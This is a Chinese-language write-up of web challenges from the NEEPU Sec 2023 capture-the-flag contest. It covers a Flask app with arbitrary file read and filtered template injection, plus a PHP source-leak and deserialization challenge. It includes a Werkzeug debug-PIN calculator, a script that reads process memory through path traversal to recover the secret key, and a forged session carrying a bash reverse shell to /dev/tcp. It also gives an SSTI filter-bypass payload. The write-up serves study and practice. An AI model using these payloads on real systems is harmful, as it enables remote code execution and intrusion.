NEEPU Sec 2023 公开赛 WEB部分题复现
我就是个纯废物
Cute Cirno 人最麻的一集 本来应该很快出结果的 还是自己太菜了
存在一个任意文件读取的漏洞 通过报错信息 去读app文件
或者访问/proc/self/cmdline
去获取当前正在运行的进程
获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from flask import Flask, request, session, render_template, render_template_stringimport os, base64from NeepuFile import neepu_filesCuteCirno = Flask(__name__,static_url_path='/static' ,static_folder='static' ) CuteCirno.config['SECRET_KEY' ] = str (base64.b64encode(os.urandom(30 )).decode()) + "*NeepuCTF*" @CuteCirno.route('/' ) def welcome (): session['admin' ] = 0 return render_template('welcome.html' ) @CuteCirno.route('/Cirno' ) def show (): return render_template('CleverCirno.html' ) @CuteCirno.route('/r3aDF1le' ) def file_read (): filename = "static/text/" + request.args.get('filename' , 'comment.txt' ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) return neepu_files(filename, start, end) @CuteCirno.route('/genius' ) def calculate (): if session.get('admin' ) == 1 : print (session.get('admin' )) answer = request.args.get('answer' ) if answer is not None : blacklist = ['_' , "'" , '"' , '.' , 'system' , 'os' , 'eval' , 'exec' , 'popen' , 'subprocess' , 'posix' , 'builtins' , 'namespace' ,'open' , 'read' , '\\' , 'self' , 'mro' , 'base' , 'global' , 'init' , '/' ,'00' , 'chr' , 'value' , 'get' , "url" , 'pop' , 'import' , 'include' ,'request' , '{{' , '}}' , '"' , 'config' ,'=' ] for i in blacklist: if i in answer: answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">""" break if answer == '' : return "你能告诉聪明的⑨, 1+1的answer吗" return render_template_string("1+1={}" .format (answer)) else : return render_template('mathclass.html' ) else : session['admin' ] = 0 return "你真的是我的马斯塔吗?" if __name__ == '__main__' : CuteCirno.run('0.0.0.0' , 5000 , debug=True )
其实一眼扫过去就是session伪造 然后套了一层ssti
但是当时做这道题的时候看了他的key生成过程 就觉得key根本伪造不了
非预期: 然后既然之前都报错了 说明debug是开启的 源码中也表明了
呢就直接去计算pin码
网上脚本很多 主要有高版本和低版本的 这里要根据题目去选择相应的脚本版本
这道题目是高版本的
脚本如下:参考 https://pysnow.cn/archives/170/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ '2485377568585' , '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
当时做题没算出pin码 不知道是哪里出的问题 甚至把所有id都试了一次
之后复现的时候 才发现被脚本中的提示稍稍误导了一下 或者是自己纯菜
1 # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
脚本中提到/etc/machine-id(docker不用看)
难道赛题环境不是docker吗 我裂开
但是这道题目需要合并/etc/machine-id
/proc/self/cgroup
才能计算出正确的pin码
当时做题的时候一直用/proc/sys/kernel/random/boot_id
/proc/self/cgroup
去算 一直是错的
不过这里也不是说脚本中提到的是错的 而是做题的时候最好都试一遍 qwq
应该是先去读/etc/machine-id
,如果读不到,那么就是/proc/sys/kernel/random/boot_id
和/proc/self/cgroup
拼接了
计算出来之后 命令执行即可
预期解 赛后了解了一下 发现预期解太难了 是根据2022年蓝帽杯初赛改编的
然后这里key的确是伪造不出来 但是任何信息都是存在内存里 可以通过去读内存读出来 借用p神的语句https://erroratao.github.io/2022/07/10/File_Session/#%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%88%9D%E8%B5%9B-file-session-%E8%A7%81%E8%A7%A3
这里直接贴上Boogipop 亮sensei的脚本 看得出来也是从p神稍加修改 而我连脚本都看不懂 尼玛就菜的离谱 暑假一定要去系统学一下python 好好锻炼锻炼自己写脚本的能力
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import base64import osimport reimport requestsurl="http://neepusec.fun:28954//r3aDF1le" maps_url = f"{url} ?filename=../../../proc/self/maps" maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0" maps = re.findall(maps_reg, requests.get(maps_url).text) print (maps)cookie='' for m in maps: print (m) start, end = m.split("-" )[0 ], m.split("-" )[1 ] Offset, Length = str (int (start, 16 )), str (int (end, 16 )) read_url = f"{url} ?filename=../../../proc/self/mem&start={Offset} &end={Length} " print (read_url) s = requests.get(read_url).content print (s) rt = re.findall(b"(.{40})\*NeepuCTF\*" , s) if rt: print (rt[0 ])
脚本大致过程就是 先去读取/proc/self/maps的信息
然后通过map里栈的地址 再去去正则匹配里面的信息
1 maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
就是去匹配这样的信息7f50caee6000-7f50cb9e6000 rw-p 00000000 00:00 0
然后再根据读出来的地址mem内存 然后再去通过地址范围正则匹配我们需要的key 就行了
真的tql
session伪造成功后 就是一个过滤了 很多字符的ssti
根据亮sensei的payload session 伪造的时候 通过把shell放进session 然后我们payload去截取就可以了 真的tql
1 python flask_session_cookie_manager3.pyencode-s"key"-t"{'admin':1,'__globals__':1,'os':1,'read':1,'popen':1,'bash-c\'bash-i>&/dev/tcp/ip/port<&1\'':1}"
payload:{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}
然后这里需要注意 截的时候并不是我们直接看到的{'admin':1,'__globals__':1,'os':1,'read':1,'popen':1,'bash-c\'bash-i>&/dev/tcp/ip/port<&1\'':1}
索引
通过{%print(session|string)%}
可以打印出来 前面还有点其他信息 这是一个小细节
1 <SecureCookieSession {'admin': 1, '__globals__': 1, 'os': 1, 'read': 1, 'popen': 1, "bash -c 'bash -i >& /dev/tcp/ip/port <&1'": 1}>
通过反弹shell 就ok了 真的太强了
发现还是得去老老实实去刷一遍ctfshow的ssti 去弄明白不同的paylaod
ezphp 当时做这道题 一看界面是空白的 各种尝试之后还是啥都没有 就放弃了
看了wp 返现是php<=7.4.21远程源码泄露的漏洞 https://cn-sec.com/archives/1530845.html
其实关键是怎么发现php版本???? 并且检索到相关漏洞
可能大佬一眼就丁真了 对我比较困难
然后抓包 构造一个如下的请求头
1 2 3 4 5 GET / HTTP/1.1 Host: neepusec.fun:28426 GET /HTTP/1.1
获得源码
是一个pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class one { public function __call ($name ,$ary ) { if ($this ->key === true ||$this ->finish1->name) { if ($this ->finish->finish){ call_user_func ($this ->now[$name ],$ary [0 ]); } } } public function neepuctf ( ) { $this ->now=0 ; return $this ->finish->finish; } public function __wakeup ( ) { $this ->key=True; } } class two { private $finish ; public $name ; public function __get ($value ) { return $this ->$value =$this ->name[$value ]; } } class three { public function __destruct ( ) { if ($this ->neepu->neepuctf ()||!$this ->neepu1->neepuctf ()){ $this ->fin->NEEPUCTF ($this ->rce,$this ->rce1); } } } class four { public function __destruct ( ) { if ($this ->neepu->neepuctf ()){ $this ->fin->NEEPUCTF1 ($this ->rce,$this ->rce1); } } public function __wakeup ( ) { $this ->key=false ; } } class five { public $finish ; private $name ; public function __get ($name ) { return $this ->$name =$this ->finish[$name ]; } } $a =$_POST ["neepu" ];if (isset ($a )){ unserialize ($a ); }
做不出来 是在太菜了 里面有我不会的知识点 没有属性值是怎么pop的 好离谱
乖乖去刷ctfshow
先放着吧
之后再回来填坑 我是垃圾 呜呜呜 太菜了 菜的想死